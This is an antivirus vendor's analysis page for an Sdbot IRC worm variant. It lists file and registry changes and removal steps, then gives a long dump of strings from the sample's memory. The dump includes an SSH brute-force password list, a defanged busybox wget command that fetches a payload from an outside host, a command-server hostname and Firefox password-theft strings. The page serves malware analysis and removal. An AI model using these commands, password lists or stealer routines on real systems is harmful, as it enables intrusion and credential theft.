Generic.Sdbot.2386C35E_747a4b1d36 – Adaware

Dynamic Analysis

Payload

Behaviour	Description
WormAutorun	A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Generic's file once a user opens a drive's folder in Windows Explorer.
IRCBot	A bot can communicate with command and control servers via IRC channel.
MSNWorm	A worm can spread its copies through the MSN Messanger.
Trojan-Proxy	This program can launch a proxy server (SOCKS4) on a designated TCP port.

Process activity

The Generic creates the following process(es):

%original file name%.exe:184

The Generic injects its code into the following process(es):

system32.exe:1260

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:184 makes changes in the file system.

The Generic creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CL678P6R\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\NT0FO0H0\desktop.ini (67 bytes)
%System%.exe (2105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OFY4SD97\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\J0XFCN1B\desktop.ini (67 bytes)

Registry activity

The process %original file name%.exe:184 makes changes in the system registry.

The Generic creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D4 B1 C1 FD 7A 87 BC 62 C9 4A 3A A4 7E 6B 96 26"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

To automatically run itself each time Windows is booted, the Generic adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Windows Data Serivce" = "system32.exe"

The process system32.exe:1260 makes changes in the system registry.

The Generic creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "40 EA 37 BF A1 E2 A1 32 D3 81 25 66 43 47 F5 29"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Generic's file once a user opens a drive's folder in Windows Explorer.A worm can spread its copies through the MSN Messanger.

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:184
Delete the original Generic file.
Delete or disinfect the following files created/modified by the Generic:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CL678P6R\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\NT0FO0H0\desktop.ini (67 bytes)
%System%.exe (2105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OFY4SD97\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\J0XFCN1B\desktop.ini (67 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Windows Data Serivce" = "system32.exe"
Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	679936	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	684032	331776	330240	5.47821	bac01681349e7c974715f9f04de325da
.rsrc	1015808	8192	5120	3.68141	3419d7e882974cb89f8e32a10cb19c68

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 1
fd3c04d6eec288cde5337d935952c635

Network Activity

URLs

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

Map

The Generic connects to the servers at the folowing location(s):

Strings from Dumps

system32.exe_1260:

`.rsrc

PSSh]

t1SSSSh

SSShx

PSSh*t@

3|$43|$$

3|$

3|$(3|$,

.EOWSU

msn.msg

msn.stop

login

firefox

join

Big Number part of OpenSSL 0.9.8j 07 Jan 2009

SHA1 part of OpenSSL 0.9.8j 07 Jan 2009

MD5 part of OpenSSL 0.9.8j 07 Jan 2009

RSA part of OpenSSL 0.9.8j 07 Jan 2009

DSA part of OpenSSL 0.9.8j 07 Jan 2009

len>=0 && lenkey)

j key)

EVP part of OpenSSL 0.9.8j 07 Jan 2009

CERTIFICATE REQUEST

NEW CERTIFICATE REQUEST

CERTIFICATE

RSA PRIVATE KEY

DSA PRIVATE KEY

EC PRIVATE KEY

RAND part of OpenSSL 0.9.8j 07 Jan 2009

You need to read the OpenSSL FAQ, hXXp://VVV.openssl.org/support/faq.html

%s(%d): OpenSSL internal error, assertion failed: %s

Diffie-Hellman part of OpenSSL 0.9.8j 07 Jan 2009

SHA-256 part of OpenSSL 0.9.8j 07 Jan 2009

SHA-512 part of OpenSSL 0.9.8j 07 Jan 2009

DlRIPE-MD160 part of OpenSSL 0.9.8j 07 Jan 2009

CAST part of OpenSSL 0.9.8j 07 Jan 2009

RC4 part of OpenSSL 0.9.8j 07 Jan 2009

Blowfish part of OpenSSL 0.9.8j 07 Jan 2009

Microsoft Local Key set

LocalKeySet

id-Gost28147-89-None-KeyMeshing

id-Gost28147-89-CryptoPro-KeyMeshing

password based MAC

id-PasswordBasedMAC

X509v3 Certificate Issuer

certificateIssuer

certicom-arc

Proxy Certificate Information

proxyCertInfo

Microsoft Smartcardlogin

msSmartcardLogin

joint-iso-itu-t

JOINT-ISO-ITU-T

set-rootKeyThumb

setAttr-Cert

setCext-cCertRequired

setCext-certType

setct-CertResTBE

setct-CertReqTBEX

setct-CertReqTBE

setct-AcqCardCodeMsgTBE

setct-CertInqReqTBS

setct-CertResData

setct-CertReqTBS

setct-CertReqData

setct-PCertResTBS

setct-PCertReqData

setct-AcqCardCodeMsg

certificate extensions

set-certExt

set-msgExt

id-ecPublicKey

id-cmc-confirmCertAcceptance

id-cmc-getCert

id-regInfo-certReq

id-regCtrl-protocolEncrKey

id-regCtrl-oldCertID

id-it-revPassphrase

id-it-keyPairParamRep

id-it-keyPairParamReq

id-it-unsupportedOIDs

id-it-caKeyUpdateInfo

id-it-encKeyPairTypes

id-it-signKeyPairTypes

id-it-caProtEncCert

id-mod-attribute-cert

id-mod-qualified-cert-93

id-mod-qualified-cert-88

id-smime-aa-ets-certCRLTimestamp

id-smime-aa-ets-certValues

id-smime-aa-ets-CertificateRefs

id-smime-aa-ets-otherSigCert

id-smime-aa-smimeEncryptCerts

id-smime-aa-signingCertificate

id-smime-aa-encrypKeyPref

id-smime-aa-msgSigDigest

id-smime-ct-publishCert

id-smime-mod-msg-v3

sdsiCertificate

x509Certificate

localKeyID

certBag

pkcs8ShroudedKeyBag

keyBag

pbeWithSHA1And2-KeyTripleDES-CBC

pbeWithSHA1And3-KeyTripleDES-CBC

TLS Web Client Authentication

TLS Web Server Authentication

X509v3 Extended Key Usage

extendedKeyUsage

X509v3 Authority Key Identifier

authorityKeyIdentifier

X509v3 Certificate Policies

certificatePolicies

X509v3 Private Key Usage Period

privateKeyUsagePeriod

X509v3 Key Usage

keyUsage

X509v3 Subject Key Identifier

subjectKeyIdentifier

Netscape Certificate Sequence

nsCertSequence

Netscape CA Policy Url

nsCaPolicyUrl

Netscape Renewal Url

nsRenewalUrl

Netscape CA Revocation Url

nsCaRevocationUrl

Netscape Revocation Url

nsRevocationUrl

Netscape Base Url

nsBaseUrl

Netscape Cert Type

nsCertType

Netscape Certificate Extension

nsCertExt

extendedCertificateAttributes

challengePassword

dhKeyAgreement

pubkey

PEM part of OpenSSL 0.9.8j 07 Jan 2009

phrase is too short, needs to be at least %d chars

Enter PEM pass phrase:

TRUSTED CERTIFICATE

X509 CERTIFICATE

PRIVATE KEY

ANY PRIVATE KEY

ENCRYPTED PRIVATE KEY

enc_key

key_enc_algor

cert

d.encrypted

d.digest

d.signed_and_enveloped

d.enveloped

d.sign

d.data

d.other

NETSCAPE_CERT_SEQUENCE

certs

.\crypto\pem\pem_pkey.c

X509_PUBKEY

public_key

priv_key

pub_key

.\crypto\ec\ec_key.c

EC_PRIVATEKEY

publicKey

privateKey

value.implicitlyCA

value.parameters

value.named_curve

p.char_two

p.prime

p.ppBasis

p.tpBasis

p.onBasis

p.other

EVP_CIPHER_key_length(cipher)

USER32.DLL

NETAPI32.DLL

KERNEL32.DLL

ADVAPI32.DLL

lhash part of OpenSSL 0.9.8j 07 Jan 2009

Stack part of OpenSSL 0.9.8j 07 Jan 2009

.\crypto\dh\dh_key.c

ASN.1 part of OpenSSL 0.9.8j 07 Jan 2009

value.single

value.set

.\crypto\evp\evp_key.c

nkey

cert_info

EC part of OpenSSL 0.9.8j 07 Jan 2009

ECDSA part of OpenSSL 0.9.8j 07 Jan 2009

PKCS8_PRIV_KEY_INFO

pkey

pkeyalg

.\crypto\evp\evp_pkey.c

keylen

.\crypto\pkcs12\p12_key.c

RC2 part of OpenSSL 0.9.8j 07 Jan 2009

IDEA part of OpenSSL 0.9.8j 07 Jan 2009

AUTHORITY_KEYID

keyid

X509_CERT_PAIR

X509_CERT_AUX

keylength

keyfunc

MD2 part of OpenSSL 0.9.8j 07 Jan 2009

%'%1$=%C%K%O%s%

.%.-.3.7.9.?.W.[.o.y.

C%C'C3C7C9COCWCiC

Verifying - %s

%lu:%s:%s:%d:%s

error:lX:%s:%s:%s

d.usernotice

d.cpsuri

CERTIFICATEPOLICIES

%*sCPS: %s

%*sExplicit Text: %s

%*sNumber%s:

%*sOrganization: %s

d.registeredID

d.iPAddress

d.uniformResourceIdentifier

d.ediPartyName

d.directoryName

d.dNSName

d.rfc822Name

d.otherName

value.bag

value.safes

value.shkeybag

value.keybag

value.sdsicert

value.x509cert

value.other

'() ,-./:=?

CONF part of OpenSSL 0.9.8j 07 Jan 2009

%d.%d.%d.%d/%d.%d.%d.%d

%*s%s:

%*sPolicy Text: %s

%*scrlUrl:

EXTENDED_KEY_USAGE

%*sZone: %s, User:

certificateHold

Certificate Hold

cessationOfOperation

Cessation Of Operation

keyCompromise

Key Compromise

name.relativename

name.fullname

.\crypto\x509v3\v3_akey.c

IP Address:%d.%d.%d.%d

URI:%s

DNS:%s

email:%s

EdiPartyName:

X400Name:

othername:

PKEY_USAGE_PERIOD

keyCertSign

Certificate Sign

keyAgreement

Key Agreement

keyEncipherment

Key Encipherment

.\crypto\x509v3\v3_skey.c

CONF_def part of OpenSSL 0.9.8j 07 Jan 2009

[[%s]]

[%s] %s=%s

PROXY_CERT_INFO_EXTENSION

crlUrl

certStatus

certId

OCSP_CERTSTATUS

value.unknown

value.revoked

value.good

value.byKey

value.byName

reqCert

OCSP_CERTID

issuerKeyHash

%s - d:d:d %d%s

\X

- %-15s

%s.dll

1.2.3

__MSVCRT_HEAP_SELECT

DI32.dll

reptile.exe

libssh2_banner_set

libssh2_base64_decode

libssh2_channel_close

libssh2_channel_direct_tcpip_ex

libssh2_channel_eof

libssh2_channel_flush_ex

libssh2_channel_forward_accept

libssh2_channel_forward_cancel

libssh2_channel_forward_listen_ex

libssh2_channel_free

libssh2_channel_get_exit_status

libssh2_channel_handle_extended_data

libssh2_channel_handle_extended_data2

libssh2_channel_open_ex

libssh2_channel_process_startup

libssh2_channel_read_ex

libssh2_channel_receive_window_adjust

libssh2_channel_request_pty_ex

libssh2_channel_request_pty_size_ex

libssh2_channel_send_eof

libssh2_channel_set_blocking

libssh2_channel_setenv_ex

libssh2_channel_wait_closed

libssh2_channel_wait_eof

libssh2_channel_window_read_ex

libssh2_channel_window_write_ex

libssh2_channel_write_ex

libssh2_channel_x11_req_ex

libssh2_hostkey_hash

libssh2_poll

libssh2_poll_channel_read

libssh2_session_abstract

libssh2_session_block_directions

libssh2_session_callback_set

libssh2_session_disconnect_ex

libssh2_session_flag

libssh2_session_free

libssh2_session_get_blocking

libssh2_session_init_ex

libssh2_session_last_errno

libssh2_session_last_error

libssh2_session_method_pref

libssh2_session_methods

libssh2_session_set_blocking

libssh2_session_startup

libssh2_trace

libssh2_userauth_authenticated

libssh2_userauth_hostbased_fromfile_ex

libssh2_userauth_keyboard_interactive_ex

libssh2_userauth_list

libssh2_userauth_password_ex

libssh2_userauth_publickey_fromfile_ex

sshspreadscan

sshgodscan

sshadminscan

ntpass

Exploit FTPD: %d, Total: %d.

%s: %d,

%s Exploit Statistics:

%s.%s.%s.%s

%s Scan not active.

%s Current IP: %s.

%s Server started, Port: %i, File: %s.

%d.%d.%d.%d

%s Finished at %s:%d after %d minute(s) of scanning.

%s %s:%d, Scan thread: %d, Sub-thread: %d.

%s Failed to initialize critical section, error:

%s Portscan: %s:%d open.

Failed auth by %s(%s@%s)

Whats up %s? Im ready to rock!

Spy: %s!%s@%s (PM: "%s")

Fail by: %s!%s@%s (Pass Tried: %s)

%s out.

%s already running: .

Failed to start thread %s, error: .

[Current task] %s [System uptime] %s [Bot Uptime] %s

Bot installed on: %s.

Go fuck yourself %s.

MSN// Message & Zipfile sent to: %d contacts.

I tried to fool %d morons.

MSN// Sent Stats - Messages: %d :: Files: %d :: Message & Files: %d.

Removed by: %s!%s@%s

Advapi.dll Failed

PStore.dll Failed.

%s Failed to parse command.

%s Failed to start scan thread, error: .

%s %s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.

%s No subnet class specified, try "-a" or "-b" or "-c"

%s Could not parse external IP.

%s Trying to get external IP.

%s Failed to start scan, no IP specified.

%d.x.x.x

%s Failed to start scan, port is invalid.

%s Already scanning with %d threads. Too many specified.

Updating from %s (%s)

%stempfile%d%d%d%d%d.exe

Downloading %s and saving it to: %s.

Failed to start socks4 daemon (%s)

Socks(4) server started on %s:%i

Starting firefox pstore

FIREFOX Threads

Process Finished: "%s", Total Running Time: %s.

File executed: %s

Unable to create process: "%s"

%s Couldn't parse path, error:

%.1fkb downloaded to %s (%.1fkbps)

Couldn't open file for writing: %s.

PK11_CheckUserPassword

PK11_GetInternalKeySlot

softokn3.dll

sqlite3.dll

nssutil3.dll

plds4.dll

nspr4.dll

mozcrt19.dll

nss3.dll

plc4.dll

%s %s:%s

SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command

\profiles.ini

Application Data\Mozilla\Firefox

signons3.txt

signons2.txt

signons1.txt

%s File transfer complete to IP: %s.

%s File transfer complete to IP: %s, File: %s, Size: %s bytes, Total sends: %i.

%s Started send to IP: %s.

200 PORT command successful.

PORT

%s %s LIST request from: %s

425 Passive not supported on this server

215 StnyFtpd

331 Password required

%s %s

%s Couldn't open data connection to: %s:%i, error: .

Ping Timeout? (%d-%d)%d/%d

Login list completed!

%s!%s@%s

Logins:

USER varun * 0 :%s

NICK %s

[%s|%s|%s|%s|%s]

[NeW|%s|%s|%s|%s|%s]

winsys.txt

TskMultiChatForm.UnicodeClass

__oxFrame.class__

PASS %s

QUIT %s

PONG %s

NICK

PRIVMSG

JOIN

NOTICE %s :%s

PRIVMSG %s :%s

JOIN %s

JOIN %s %s

PART %s

[%s|%s]

shlwapi.dll

pstorec.dll

psapi.dll

userenv.dll

SQLDisconnect

SQLFreeHandle

SQLAllocHandle

SQLExecDirect

SQLSetEnvAttr

SQLDriverConnect

odbc32.dll

ShellExecuteA

shell32.dll

mpr.dll

GetUdpTable

GetTcpTable

iphlpapi.dll

dnsapi.dll

netapi32.dll

Mozilla/4.0 (compatible)

InternetCrackUrlA

InternetOpenUrlA

FtpPutFileA

FtpGetFileA

HttpSendRequestA

HttpOpenRequestA

wininet.dll

ws2_32.dll

RegEnumKeyExA

advapi32.dll

user32.dll

kernel32.dll

%s!%s@%s

NICK [%s|%s|%s|%s|%s]

https:/

http:/

system32.exe

Windows Data Serivce

EFTP//

ftpd.exe

fucks.fflyy.su

SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

%s\%s

No %s thread found.

%s thread stopped.

[.ShellClassInfo]

CLSID={645FF040-5081-101B-9F08-00AA002F954E}

\Desktop.ini

\autorun.inf

icon=%SystemRoot%\system32\SHELL32.dll,4

hXXp://VVV.whatismyip.com

hXXp://checkip.dyndns.org

del "%s">nul

if exist "%s" goto Repeat

ping 0.0.0.0>nul

%s\removeMe%i%i%i%i.bat

%s%%s

%d day%s (%0.2d hours & %0.2d mins)

!@#$%^&*

passwd

01010101

10101010

rootwebmaster

rootwebadmin

ftpuserftpuser

mysqlmysql

pgsqlpgsql

webweb

webmasterwebmaster

ftpserver

webserver

webadmin

webadmin1

webmaster

0987654321

1234567890

1234567

monkey1

PaSsWoRd

69696969

mypass

12341234

7654321

87654321

monkey

password1

newpass

systempass

%s %s: SSH USELESS: root@%s %s .

%s %s: SSH WIN: root@%s %s .

password

12345678

%s %s: SSH LOL: root:%s@%s .

BusyBox Infected!!! %s.

busybox wget hXXp://wireless.kei.su//bbsh

wget hXXp://wireless.kei.su/wgsh

BusyBox Fail@ShellOpen: %s.

BusyBox Fail@PtyOpen: %s.

BusyBox Fail@ChannelOpen: %s.

Setting local Banner: %s

Setting Callback %d

Unable to ask for ssh-userauth service

Would block asking for ssh-userauth service

ssh-userauth

Unable to exchange encryption keys

Would block exchanging encryption keys

session_startup for socket %d

Received Banner: %s

SSH-2.0-libssh2_1.0

Disconnecting: reason=%d, desc=%s, lang=%s

Setting blocking mode on session %d

Invalid descriptor passed to libssh2_poll()

Permitted auth methods: %s

ssh-connection

Unable to send userauth-password-change request

Unable to allocate memory for userauth-password-change request

Password expired, and callback failed

Password Expired, and no callback specified

Password authentication successful

Password change required

Unable to send userauth-password request

Attempting to login using password authentication

Unable to allocate memory for userauth-password request

Invalid signature for supplied public key, or bad username/public key combination

Invalid key data, not base64 encoded

Invalid public key data

Missing public key data

Unable to read public key from file

Unable to allocate memory for public key data

Invalid data in public key file

Unable to open public key file

Loading public key file: %s

Unable to initialize private key from file

No handler for specified private key

Loading private key file: %s

Publickey authentication successful

Attempting publickey authentication -- phase 2

Failed allocating additional space for userauth-publickey packet

Username/PublicKey combination invalid

Pubkey authentication prematurely successful

Unable to send userauth-publickey request

Attempting publickey authentication

publickey

Keyboard-interactive authentication successful

Unable to send userauth-keyboard-interactive request

Unable to allocate memory for keyboard-interactive prompt message

Unable to allocate memory for keyboard-interactive response packet

Keyboard-interactive response callback function invoked

Unable to allocate memory for keyboard-interactive responses array

Unable to allocate memory for keyboard-interactive prompts array

Unable to allocate memory for keyboard-interactive 'instruction' request field

Unable to allocate memory for keyboard-interactive 'name' request field

Unable to send keyboard-interactive request

Attempting keyboard-interactive authentication

keyboard-interactive

Unable to allocate memory for keyboard-interactive authentication

Opening Channel - win %d pack %d

direct-tcpip

Unable to allocate memory for direct-tcpip connection

Requesting direct-tcpip session to from %s:%d to %s:%d

Dynamic tcpip-forward port allocated: %d

0.0.0.0

tcpip-forward

Requesting tcpip-forward session for %s:%d

cancel-tcpip-forward

Cancelling tcpip-forward session for %s:%d

Setting remote environment variable: %s=%s on channel %lu/%lu

Requesting x11-req for channel %lu/%lu: single=%d proto=%s cookie=%s screen=%d

starting request(%s) on channel %lu/%lu, message=%s

Flushing %d bytes of data from stream %lu on channel %lu/%lu

Setting channel %lu/%lu handle_extended_data mode to %d

Reading %d of buffered data from %lu/%lu/%d

Attempting to read %d bytes from channel %lu/%lu stream #%d

libssh2_packet_write returned EAGAIN

Sending %d bytes on channel %lu/%lu, stream_id=%d

Splitting write block due to %lu byte packet_size on %lu/%lu/%d

Splitting write block due to %lu byte window_size on %lu/%lu/%d

Writing %d bytes on channel %lu/%lu, stream #%d

libssh2_channel_wait_closed() invoked when channel is not in EOF state

Renegotiating Keys

Unable to allocate memory for LIBSSH2_PACKET

X11 Connection Received from %s:%ld on channel %lu

Remote received connection from %s:%ld to %s:%ld

forwarded-tcpip

Ignoring extended data and refunding %d bytes

Debug Packet: %s

Disconnect(%d): %s(%s)

Packet type %d received, length=%d

Looking for packet of type: %d

May block until packet of type %d becomes available

Redirecting into the key re-exchange

Initiating Diffie-Hellman Group1 Key Exchange

Server to Client HMAC Key calculated

Client to Server HMAC Key calculated

Server to Client IV and Key calculated

Client to Server IV and Key calculated

Received NEWKEYS message

Timed out waiting for NEWKEYS

Unable to send NEWKEYS message

Sending NEWKEYS message

Unable to verify hostkey signature

Unable to initialize hostkey importer

Unable to allocate memory for a copy of the host key

Burnt packet of type: x

Sending KEX packet %d

Initiating Diffie-Hellman Group14 Key Exchange

Unrecoverable error exchanging keys

Agreed on COMP_SC method: %s

Agreed on COMP_CS method: %s

Agreed on MAC_SC method: %s

Agreed on MAC_CS method: %s

Agreed on CRYPT_SC method: %s

Agreed on CRYPT_CS method: %s

Agreed on HOSTKEY method: %s

Agreed on KEX method: %s

The requested method(s) are not currently supported

ssh-dss

ssh-rsa

hmac-ripemd160@openssh.com

rijndael-cbc@lysator.liu.se

?456789:;

!"#$%&'()* ,-./0123

zcÃ

192.168.1.134

%System%.exe

GetWindowsDirectoryA

GetCPInfo

RegCreateKeyExA

RegOpenKeyExA

RegCloseKey

ReportEventA

VkKeyScanA

GetProcessWindowStation

keybd_event

.text

`.rdata

@.data

.rsrc

PU%UI

s$TerminateTh.adGL6}

m.epQW

KeyQ A

ADVAPI32.dll

ole32.dll

OLEAUT32.dll

USER32.dll

USERENV.dll

WS2_32.dll

system32.exe_1260_rwx_00401000_000F6000:

PSSh]

t1SSSSh

SSShx

PSSh*t@

3|$43|$$

3|$

3|$(3|$,

.EOWSU

msn.msg

msn.stop

login

firefox

join

Big Number part of OpenSSL 0.9.8j 07 Jan 2009

SHA1 part of OpenSSL 0.9.8j 07 Jan 2009

MD5 part of OpenSSL 0.9.8j 07 Jan 2009

RSA part of OpenSSL 0.9.8j 07 Jan 2009

DSA part of OpenSSL 0.9.8j 07 Jan 2009

len>=0 && lenkey)

j key)

EVP part of OpenSSL 0.9.8j 07 Jan 2009

CERTIFICATE REQUEST

NEW CERTIFICATE REQUEST

CERTIFICATE

RSA PRIVATE KEY

DSA PRIVATE KEY

EC PRIVATE KEY

RAND part of OpenSSL 0.9.8j 07 Jan 2009

You need to read the OpenSSL FAQ, hXXp://VVV.openssl.org/support/faq.html

%s(%d): OpenSSL internal error, assertion failed: %s

Diffie-Hellman part of OpenSSL 0.9.8j 07 Jan 2009

SHA-256 part of OpenSSL 0.9.8j 07 Jan 2009

SHA-512 part of OpenSSL 0.9.8j 07 Jan 2009

DlRIPE-MD160 part of OpenSSL 0.9.8j 07 Jan 2009

CAST part of OpenSSL 0.9.8j 07 Jan 2009

RC4 part of OpenSSL 0.9.8j 07 Jan 2009

Blowfish part of OpenSSL 0.9.8j 07 Jan 2009

Microsoft Local Key set

LocalKeySet

id-Gost28147-89-None-KeyMeshing

id-Gost28147-89-CryptoPro-KeyMeshing

password based MAC

id-PasswordBasedMAC

X509v3 Certificate Issuer

certificateIssuer

certicom-arc

Proxy Certificate Information

proxyCertInfo

Microsoft Smartcardlogin

msSmartcardLogin

joint-iso-itu-t

JOINT-ISO-ITU-T

set-rootKeyThumb

setAttr-Cert

setCext-cCertRequired

setCext-certType

setct-CertResTBE

setct-CertReqTBEX

setct-CertReqTBE

setct-AcqCardCodeMsgTBE

setct-CertInqReqTBS

setct-CertResData

setct-CertReqTBS

setct-CertReqData

setct-PCertResTBS

setct-PCertReqData

setct-AcqCardCodeMsg

certificate extensions

set-certExt

set-msgExt

id-ecPublicKey

id-cmc-confirmCertAcceptance

id-cmc-getCert

id-regInfo-certReq

id-regCtrl-protocolEncrKey

id-regCtrl-oldCertID

id-it-revPassphrase

id-it-keyPairParamRep

id-it-keyPairParamReq

id-it-unsupportedOIDs

id-it-caKeyUpdateInfo

id-it-encKeyPairTypes

id-it-signKeyPairTypes

id-it-caProtEncCert

id-mod-attribute-cert

id-mod-qualified-cert-93

id-mod-qualified-cert-88

id-smime-aa-ets-certCRLTimestamp

id-smime-aa-ets-certValues

id-smime-aa-ets-CertificateRefs

id-smime-aa-ets-otherSigCert

id-smime-aa-smimeEncryptCerts

id-smime-aa-signingCertificate

id-smime-aa-encrypKeyPref

id-smime-aa-msgSigDigest

id-smime-ct-publishCert

id-smime-mod-msg-v3

sdsiCertificate

x509Certificate

localKeyID

certBag

pkcs8ShroudedKeyBag

keyBag

pbeWithSHA1And2-KeyTripleDES-CBC

pbeWithSHA1And3-KeyTripleDES-CBC

TLS Web Client Authentication

TLS Web Server Authentication

X509v3 Extended Key Usage

extendedKeyUsage

X509v3 Authority Key Identifier

authorityKeyIdentifier

X509v3 Certificate Policies

certificatePolicies

X509v3 Private Key Usage Period

privateKeyUsagePeriod

X509v3 Key Usage

keyUsage

X509v3 Subject Key Identifier

subjectKeyIdentifier

Netscape Certificate Sequence

nsCertSequence

Netscape CA Policy Url

nsCaPolicyUrl

Netscape Renewal Url

nsRenewalUrl

Netscape CA Revocation Url

nsCaRevocationUrl

Netscape Revocation Url

nsRevocationUrl

Netscape Base Url

nsBaseUrl

Netscape Cert Type

nsCertType

Netscape Certificate Extension

nsCertExt

extendedCertificateAttributes

challengePassword

dhKeyAgreement

pubkey

PEM part of OpenSSL 0.9.8j 07 Jan 2009

phrase is too short, needs to be at least %d chars

Enter PEM pass phrase:

TRUSTED CERTIFICATE

X509 CERTIFICATE

PRIVATE KEY

ANY PRIVATE KEY

ENCRYPTED PRIVATE KEY

enc_key

key_enc_algor

cert

d.encrypted

d.digest

d.signed_and_enveloped

d.enveloped

d.sign

d.data

d.other

NETSCAPE_CERT_SEQUENCE

certs

.\crypto\pem\pem_pkey.c

X509_PUBKEY

public_key

priv_key

pub_key

